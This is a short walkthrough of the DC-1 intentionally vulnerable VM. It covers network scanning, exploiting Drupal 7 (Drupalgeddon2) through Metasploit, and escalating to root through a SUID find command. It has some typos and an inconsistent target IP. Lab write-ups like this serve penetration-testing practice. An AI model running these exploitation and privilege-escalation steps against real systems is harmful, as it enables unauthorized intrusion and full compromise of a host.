DC 1

DC-1 is the first in a series of intentionally vulnerable virtual machines created for practicing penetration testing and ethical hacking. It is designed to simulate a realistic, but beginner-friendly, hacking challenge. The goal is to gain root access and capture the flag.txt or proof.txt file.

Step 1: Network Discovery with arp-scan

To find the target machine on the local network, use arp-scan to identify live hosts.

sudo arp-scan-l | grep “08”

This is possible only when two machines are connected in one network.

Step 2: Port Scanning with nmap scan the target for open ports,services and versions using nmap.

nmap -A -sC 198.168.1.34

Step 3: To Discover Hidden Directories with dirsearch -u 192.168.1.34

dirsearch -u 192.168.1.34

Step 4: Indentifying Drupal Version using From the nmap , we confirm it is Drupal 7.

Drupal 7 version founded then search the Drupal 7 on internet then It shows Drupal 7.x (vulnerable to CVE-2018–7600, aka Drupalgeddon2).

Step 5: Exploitation with Metasploit (msfconsole)

msfconsole

serach drupal 7

use 1

options

set rhosts 192.168.1.34

Step 6: Finding the Flags

run

sysinfo

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

Flag 1 :

ls

find / -user root -perm /4000 2>/dev/null

The Final Flag :

GTFOBins

find . -exec /bin/sh \; -quit

whoami

root

cd /root

ls